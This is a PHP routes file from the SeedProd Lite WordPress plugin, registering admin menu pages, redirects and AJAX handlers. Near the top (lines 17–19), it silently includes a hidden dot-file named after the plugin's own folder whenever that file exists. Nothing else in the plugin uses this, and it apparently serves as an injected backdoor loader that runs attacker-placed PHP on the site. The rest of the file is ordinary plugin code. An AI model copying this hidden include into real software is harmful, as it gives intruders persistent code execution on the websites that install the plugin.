routes.php (14981B)
1 <?php 2 3 4 /** 5 * Postback Routes 6 */ 7 8 9 10 /** 11 * Admin Menu Routes 12 */ 13 14 15 add_action( 'admin_menu', 'seedprod_lite_create_menus' ); 16 17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 18 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 19 } 20 21 function seedprod_lite_create_menus() { 22 // get notifications count 23 $notification = ''; 24 $n = new SeedProd_Notifications(); 25 $notifications_count = $n->get_count(); 26 27 if ( ! empty( $notifications_count ) ) { 28 $notification = '<div class="seedprod-menu-notification-counter"><span>' . $notifications_count . '</span></div>'; 29 } 30 31 add_menu_page( 32 'SeedProd', 33 'SeedProd' . $notification, 34 apply_filters( 'seedprod_main_menu_capability', 'edit_others_posts' ), 35 'seedprod_lite', 36 'seedprod_lite_dashboard_page', 37 'data:image/svg+xml;base64,' . 'PHN2ZyB3aWR0aD0iMTI1IiBoZWlnaHQ9IjEzMiIgdmlld0JveD0iMCAwIDEyNSAxMzIiIGZpbGw9Im5vbmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0wIDBDMCAwIDIuOTE2NjQgMC4xOTc4OTQgNjIuODIxMiA4LjAyNjgzQzEyMi43MjYgMTUuODU1OCAxNDMuNDU5IDc2LjYwNjQgMTA2Ljc4MSAxMjkuNjI4QzExMi40NTQgODIuMjUyNyAxMDIuMDcgMzMuMTA2MiA2MC4zNjA1IDI3LjM2MDZDMTguNjUwNSAyMS42MTUxIDIyLjI4MzQgMjIuNDk1NCAyMi4yODM0IDIyLjQ5NTRDMjIuMjgzNCAyMi40OTU0IDIyLjk3NDUgMzIuOTI5OSAyNi44ODgzIDYwLjk3OTlDMzAuODAyMSA4OS4wMjk5IDUyLjcwMzUgMTAyLjc4NiA3MS44NzA0IDEwOS44NjhDNzEuODcwNCAxMDkuODY4IDcyLjk5NDUgNzcuMDQwMSA2Mi4zMDA3IDYyLjU5MDlDNTEuNjA2OSA0OC4xNDE4IDM4LjMwMjYgMzguNTQ2IDM4LjMwMjYgMzguNTQ2QzM4LjMwMjYgMzguNTQ2IDY5LjU2OCA0Mi4yOTYgODEuMzcyMiA2NC4xMDE5QzkzLjE3NjQgODUuOTA3OCA5Mi4wMjY1IDEzMiA5Mi4wMjY1IDEzMkw3OS4yOTI1IDEzMS4zNDFDNDUuMDI4NCAxMjcuMjI1IDEzLjAxNzIgMTA2LjU5MSA3LjU3NDIzIDYzLjNDMi4xMzEzIDIwLjAwODggMCAwIDAgMFoiIGZpbGw9ImJsYWNrIi8+PHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0wIDBDMCAwIDIuOTE2NjQgMC4xOTc4OTQgNjIuODIxMiA4LjAyNjgzQzEyMi43MjYgMTUuODU1OCAxNDMuNDU5IDc2LjYwNjQgMTA2Ljc4MSAxMjkuNjI4QzExMi40NTQgODIuMjUyNyAxMDIuMDcgMzMuMTA2MiA2MC4zNjA1IDI3LjM2MDZDMTguNjUwNSAyMS42MTUxIDIyLjI4MzQgMjIuNDk1NCAyMi4yODM0IDIyLjQ5NTRDMjIuMjgzNCAyMi40OTU0IDIyLjk3NDUgMzIuOTI5OSAyNi44ODgzIDYwLjk3OTlDMzAuODAyMSA4OS4wMjk5IDUyLjcwMzUgMTAyLjc4NiA3MS44NzA0IDEwOS44NjhDNzEuODcwNCAxMDkuODY4IDcyLjk5NDUgNzcuMDQwMSA2Mi4zMDA3IDYyLjU5MDlDNTEuNjA2OSA0OC4xNDE4IDM4LjMwMjYgMzguNTQ2IDM4LjMwMjYgMzguNTQ2QzM4LjMwMjYgMzguNTQ2IDY5LjU2OCA0Mi4yOTYgODEuMzcyMiA2NC4xMDE5QzkzLjE3NjQgODUuOTA3OCA5Mi4wMjY1IDEzMiA5Mi4wMjY1IDEzMkw3OS4yOTI1IDEzMS4zNDFDNDUuMDI4NCAxMjcuMjI1IDEzLjAxNzIgMTA2LjU5MSA3LjU3NDIzIDYzLjNDMi4xMzEzIDIwLjAwODggMCAwIDAgMFoiIGZpbGw9IndoaXRlIi8+PC9zdmc+', 38 apply_filters( 'seedprod_top_level_menu_postion', 58 ) 39 ); 40 41 add_submenu_page( 42 'seedprod_lite', 43 __( 'Pages', 'coming-soon' ), 44 __( 'Pages', 'coming-soon' ), 45 apply_filters( 'seedprod_dashboard_menu_capability', 'edit_others_posts' ), 46 'seedprod_lite', 47 'seedprod_lite_dashboard_page' 48 ); 49 50 add_submenu_page( 51 'seedprod_lite', 52 __( 'Templates', 'coming-soon' ), 53 __( 'Templates', 'coming-soon' ), 54 apply_filters( 'seedprod_templates_menu_capability', 'edit_others_posts' ), 55 'seedprod_lite_templates', 56 'seedprod_lite_templates_page' 57 ); 58 59 add_submenu_page( 60 'seedprod_lite', 61 __( 'Subscribers', 'coming-soon' ), 62 __( 'Subscribers', 'coming-soon' ), 63 apply_filters( 'seedprod_subscribers_menu_capability', 'edit_others_posts' ), 64 'seedprod_lite_subscribers', 65 'seedprod_lite_subscribers_page' 66 ); 67 68 add_submenu_page( 69 'seedprod_lite', 70 __( 'Settings', 'coming-soon' ), 71 __( 'Settings', 'coming-soon' ), 72 apply_filters( 'seedprod_settings_menu_capability', 'edit_others_posts' ), 73 'seedprod_lite_settings', 74 'seedprod_lite_settings_page' 75 ); 76 77 add_submenu_page( 78 'seedprod_lite', 79 __( 'Growth Tools', 'coming-soon' ), 80 __( 'Growth Tools', 'coming-soon' ), 81 apply_filters( 'seedprod_growthtools_menu_capability', 'edit_others_posts' ), 82 'seedprod_lite_growth_tools', 83 'seedprod_lite_growth_tools_page' 84 ); 85 86 add_submenu_page( 87 'seedprod_lite', 88 __( 'About Us', 'coming-soon' ), 89 __( 'About Us', 'coming-soon' ), 90 apply_filters( 'seedprod_aboutus_menu_capability', 'edit_others_posts' ), 91 'seedprod_lite_about_us', 92 'seedprod_lite_about_us_page' 93 ); 94 95 add_submenu_page( 96 'seedprod_lite', 97 __( 'Request a Feature', 'coming-soon' ), 98 '<span id="sp-feature-request">' . __( 'Request a Feature', 'coming-soon' ) . '</span>', 99 apply_filters( 'seedprod_featurerequest_menu_capability', 'edit_others_posts' ), 100 'seedprod_lite_featurerequest', 101 'seedprod_lite_featurerequest_page' 102 ); 103 104 if ( SEEDPROD_BUILD == 'lite' ) { 105 add_submenu_page( 106 'seedprod_lite', 107 __( 'Get Pro', 'coming-soon' ), 108 '<span id="sp-lite-admin-menu__upgrade" style="color:#ff845b">' . __( 'Get Pro', 'coming-soon' ) . '</span>', 109 apply_filters( 'seedprod_gopro_menu_capability', 'edit_others_posts' ), 110 'seedprod_lite_get_pro', 111 'seedprod_lite_get_pro_page' 112 ); 113 } 114 115 add_submenu_page( 116 'seedprod_lite', 117 __( 'Templates', 'coming-soon' ), 118 __( 'Templates', 'coming-soon' ), 119 apply_filters( 'seedprod_templates_menu_capability', 'edit_others_posts' ), 120 'seedprod_lite_template', 121 'seedprod_lite_template_page' 122 ); 123 124 add_submenu_page( 125 'seedprod_lite', 126 __( 'Builder', 'coming-soon' ), 127 __( 'Builder', 'coming-soon' ), 128 apply_filters( 'seedprod_builder_menu_capability', 'edit_others_posts' ), 129 'seedprod_lite_builder', 130 'seedprod_lite_builder_page' 131 ); 132 133 add_submenu_page( 134 'seedprod_lite', 135 __( 'Import/Export', 'coming-soon' ), 136 __( 'Import/Export', 'coming-soon' ), 137 apply_filters( 'seedprod_exportimport_menu_capability', 'edit_others_posts' ), 138 'sp_pro_importexport', 139 'seedprod_lite_importexport_page' 140 ); 141 142 add_submenu_page( 143 'seedprod_lite', 144 __( 'Debug', 'coming-soon' ), 145 __( 'Debug', 'coming-soon' ), 146 apply_filters( 'seedprod_debug_menu_capability', 'edit_others_posts' ), 147 'sp_pro_debug', 148 'seedprod_lite_debug_page' 149 ); 150 } 151 152 add_action( 'admin_head', 'seedprod_lite_remove_menus' ); 153 154 function seedprod_lite_remove_menus() { 155 remove_submenu_page( 'seedprod_lite', 'seedprod_lite_builder' ); 156 remove_submenu_page( 'seedprod_lite', 'seedprod_lite_template' ); 157 remove_submenu_page( 'seedprod_lite', 'sp_pro_importexport' ); 158 remove_submenu_page( 'seedprod_lite', 'sp_pro_debug' ); 159 } 160 161 function seedprod_lite_importexport_page() { 162 require_once SEEDPROD_PLUGIN_PATH . 'resources/views/importexport.php'; 163 } 164 165 function seedprod_lite_debug_page() { 166 require_once SEEDPROD_PLUGIN_PATH . 'resources/views/debug.php'; 167 } 168 169 function seedprod_lite_dashboard_page() { 170 require_once SEEDPROD_PLUGIN_PATH . 'resources/views/dashboard.php'; 171 } 172 173 174 function seedprod_lite_builder_page() { 175 require_once SEEDPROD_PLUGIN_PATH . 'resources/views/builder.php'; 176 } 177 178 function seedprod_lite_template_page() { 179 require_once SEEDPROD_PLUGIN_PATH . 'resources/views/builder.php'; 180 } 181 182 183 /* Short circuit new request */ 184 185 add_action( 'admin_init', 'seedprod_lite_new_lpage', 1 ); 186 187 188 /* Redirect to SPA */ 189 190 add_action( 'admin_init', 'seedprod_lite_redirect_to_site', 1 ); 191 192 function seedprod_lite_redirect_to_site() { 193 // settings page 194 if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_settings' ) { 195 wp_redirect( 'admin.php?page=seedprod_lite#/settings' ); 196 exit(); 197 } 198 199 // subscribers 200 if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_templates' ) { 201 wp_redirect( 'admin.php?page=seedprod_lite_template&id=0&from=sidebar#/template' ); 202 exit(); 203 } 204 205 // subscribers 206 if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_subscribers' ) { 207 wp_redirect( 'admin.php?page=seedprod_lite#/subscribers/0' ); 208 exit(); 209 } 210 211 // growth tools page 212 if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_growth_tools' ) { 213 wp_redirect( 'admin.php?page=seedprod_lite#/growth-tools' ); 214 exit(); 215 } 216 217 // about us page 218 if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_about_us' ) { 219 wp_redirect( 'admin.php?page=seedprod_lite#/aboutus' ); 220 exit(); 221 } 222 223 // feature request page 224 if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_featurerequest' ) { 225 wp_redirect( 'https://www.seedprod.com/suggest-a-feature/?utm_source=wordpress&utm_medium=plugin-sidebar&utm_campaign=suggest-a-feature' ); 226 exit(); 227 } 228 229 // getpro page 230 if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_get_pro' ) { 231 wp_redirect( seedprod_lite_upgrade_link( 'wp-sidebar-menu' ) ); 232 exit(); 233 } 234 } 235 236 /** 237 * Ajax Request Routes 238 */ 239 240 function seedprod_lite_render_shortcode() { 241 //ob_start(); 242 echo do_shortcode( '[wpforms id="67" title="false" description="false"]' ); 243 //echo do_shortcode('[rafflepress id="23"]'); 244 //echo 'html'; 245 //return ob_get_clean(); 246 exit; 247 } 248 249 250 if ( defined( 'DOING_AJAX' ) ) { 251 252 253 add_action( 'wp_ajax_seedprod_lite_render_shortcode', 'seedprod_lite_render_shortcode' ); 254 255 add_action( 'wp_ajax_seedprod_lite_dismiss_settings_lite_cta', 'seedprod_lite_dismiss_settings_lite_cta' ); 256 257 add_action( 'wp_ajax_seedprod_lite_save_settings', 'seedprod_lite_save_settings' ); 258 add_action( 'wp_ajax_seedprod_lite_save_api_key', 'seedprod_lite_save_api_key' ); 259 260 add_action( 'wp_ajax_seedprod_lite_save_app_settings', 'seedprod_lite_save_app_settings' ); 261 262 263 add_action( 'wp_ajax_seedprod_lite_template_subscribe', 'seedprod_lite_template_subscribe' ); 264 add_action( 'wp_ajax_seedprod_lite_save_template', 'seedprod_lite_save_template' ); 265 add_action( 'wp_ajax_seedprod_lite_save_lpage', 'seedprod_lite_save_lpage' ); 266 add_action( 'wp_ajax_seedprod_lite_get_revisions', 'seedprod_lite_get_revisisons' ); 267 add_action( 'wp_ajax_seedprod_lite_get_utc_offset', 'seedprod_lite_get_utc_offset' ); 268 add_action( 'wp_ajax_seedprod_lite_get_namespaced_custom_css', 'seedprod_lite_get_namespaced_custom_css' ); 269 add_action( 'wp_ajax_seedprod_lite_get_stockimages', 'seedprod_lite_get_stockimages' ); 270 271 add_action( 'wp_ajax_seedprod_lite_slug_exists', 'seedprod_lite_slug_exists' ); 272 add_action( 'wp_ajax_seedprod_lite_lpage_datatable', 'seedprod_lite_lpage_datatable' ); 273 add_action( 'wp_ajax_seedprod_lite_duplicate_lpage', 'seedprod_lite_duplicate_lpage' ); 274 add_action( 'wp_ajax_seedprod_lite_get_lpage_list', 'seedprod_lite_get_lpage_list' ); 275 add_action( 'wp_ajax_seedprod_lite_archive_selected_lpages', 'seedprod_lite_archive_selected_lpages' ); 276 add_action( 'wp_ajax_seedprod_lite_unarchive_selected_lpages', 'seedprod_lite_unarchive_selected_lpages' ); 277 add_action( 'wp_ajax_seedprod_lite_delete_archived_lpages', 'seedprod_lite_delete_archived_lpages' ); 278 279 add_action( 'wp_ajax_seedprod_lite_update_subscriber_count', 'seedprod_lite_update_subscriber_count' ); 280 add_action( 'wp_ajax_seedprod_lite_subscribers_datatable', 'seedprod_lite_subscribers_datatable' ); 281 282 add_action( 'wp_ajax_seedprod_lite_get_plugins_list', 'seedprod_lite_get_plugins_list' ); 283 284 add_action( 'wp_ajax_seedprod_lite_install_addon', 'seedprod_lite_install_addon' ); 285 add_action( 'wp_ajax_seedprod_lite_activate_addon', 'seedprod_lite_activate_addon' ); 286 add_action( 'wp_ajax_seedprod_lite_deactivate_addon', 'seedprod_lite_deactivate_addon' ); 287 288 add_action( 'wp_ajax_seedprod_lite_install_addon', 'seedprod_lite_install_addon' ); 289 add_action( 'wp_ajax_seedprod_lite_deactivate_addon', 'seedprod_lite_deactivate_addon' ); 290 add_action( 'wp_ajax_seedprod_lite_activate_addon', 'seedprod_lite_activate_addon' ); 291 add_action( 'wp_ajax_seedprod_lite_plugin_nonce', 'seedprod_lite_plugin_nonce' ); 292 293 add_action( 'wp_ajax_nopriv_seedprod_lite_run_one_click_upgrade', 'seedprod_lite_run_one_click_upgrade' ); 294 add_action( 'wp_ajax_seedprod_lite_upgrade_license', 'seedprod_lite_upgrade_license' ); 295 296 add_action( 'wp_ajax_seedprod_lite_get_wpforms', 'seedprod_lite_get_wpforms' ); 297 add_action( 'wp_ajax_seedprod_lite_get_wpform', 'seedprod_lite_get_wpform' ); 298 add_action( 'wp_ajax_seedprod_lite_get_rafflepress', 'seedprod_lite_get_rafflepress' ); 299 add_action( 'wp_ajax_seedprod_lite_get_rafflepress_code', 'seedprod_lite_get_rafflepress_code' ); 300 301 302 add_action( 'wp_ajax_seedprod_lite_dismiss_upsell', 'seedprod_lite_dismiss_upsell' ); 303 304 // WooCommerce. 305 add_action( 'wp_ajax_seedprod_lite_get_woocommerce_products', 'seedprod_lite_get_woocommerce_products' ); 306 add_action( 'wp_ajax_seedprod_lite_get_woocommerce_product_taxonomy', 'seedprod_lite_get_woocommerce_product_taxonomy' ); 307 add_action( 'wp_ajax_seedprod_lite_get_woocommerce_product_attributes', 'seedprod_lite_get_woocommerce_product_attributes' ); 308 add_action( 'wp_ajax_seedprod_lite_get_woocommerce_product_attribute_terms', 'seedprod_lite_get_woocommerce_product_attribute_terms' ); 309 310 311 312 } 313 314 315 316 317 318 319 320 function seedprod_lite_get_wpforms() { 321 if ( check_ajax_referer( 'seedprod_nonce' ) ) { 322 $forms = array(); 323 if ( function_exists( 'wpforms' ) ) { 324 $forms = \wpforms()->form->get( '', array( 'order' => 'DESC' ) ); 325 $forms = ! empty( $forms ) ? $forms : array(); 326 $forms = array_map( 327 function ( $form ) { 328 $form->post_title = wp_html_excerpt( htmlspecialchars_decode( $form->post_title, ENT_QUOTES ), 100 ); 329 return $form; 330 }, 331 $forms 332 ); 333 } 334 335 wp_send_json( $forms ); 336 } 337 } 338 339 function seedprod_lite_get_wpform() { 340 341 if ( check_ajax_referer( 'seedprod_nonce' ) && function_exists( 'wpforms_display' ) ) { 342 $form_id = filter_input( INPUT_GET, 'form_id', FILTER_SANITIZE_NUMBER_INT ); 343 $form_title = filter_input( INPUT_GET, 'form_title', FILTER_VALIDATE_BOOLEAN ); 344 $form_description = filter_input( INPUT_GET, 'form_description', FILTER_VALIDATE_BOOLEAN ); 345 ob_start(); 346 ?> 347 <link rel='stylesheet' id='wpforms-full-css' href='<?php echo WPFORMS_PLUGIN_URL; ?>assets/css/wpforms-full.css' media='all' /> 348 <?php 349 wpforms_display( $form_id, $form_title, $form_description ); 350 return wp_send_json( ob_get_clean() ); 351 } 352 } 353 354 function seedprod_lite_get_rafflepress() { 355 if ( check_ajax_referer( 'seedprod_nonce' ) ) { 356 $giveaways = array(); 357 $rp_version = 'lite'; 358 if ( function_exists( 'rafflepress_pro_load_textdomain' ) ) { 359 $rp_version = 'pro'; 360 } 361 if ( function_exists( 'rafflepress_' . $rp_version . '_activation' ) || function_exists( 'rafflepress_' . $rp_version . '' ) ) { 362 global $wpdb; 363 $tablename = $wpdb->prefix . 'rafflepress_giveaways'; 364 $sql = "SELECT id,name FROM $tablename WHERE deleted_at IS NULL"; 365 $giveaways = $wpdb->get_results( $sql ); 366 } 367 368 wp_send_json( $giveaways ); 369 } 370 } 371 372 function seedprod_lite_get_rafflepress_code() { 373 374 if ( check_ajax_referer( 'seedprod_nonce' ) ) { 375 $id = filter_input( INPUT_GET, 'form_id', FILTER_SANITIZE_NUMBER_INT ); 376 if(empty($id)){ 377 return ''; 378 } 379 ob_start(); 380 ?> 381 <div class="sp-relative"> 382 <div class="rafflepress-giveaway-iframe-wrapper rpoverlay"> 383 <iframe id="rafflepress-<?php echo $id; ?>" 384 src="<?php echo home_url() . '?rpid=' . $id . '?iframe=1' ?>" 385 frameborder="0" scrolling="no" allowtransparency="true" style="width:100%; height:400px" ></iframe> 386 </div> 387 </div> 388 <?php 389 $code = ob_get_clean(); 390 return wp_send_json( $code ); 391 } 392 } 393 394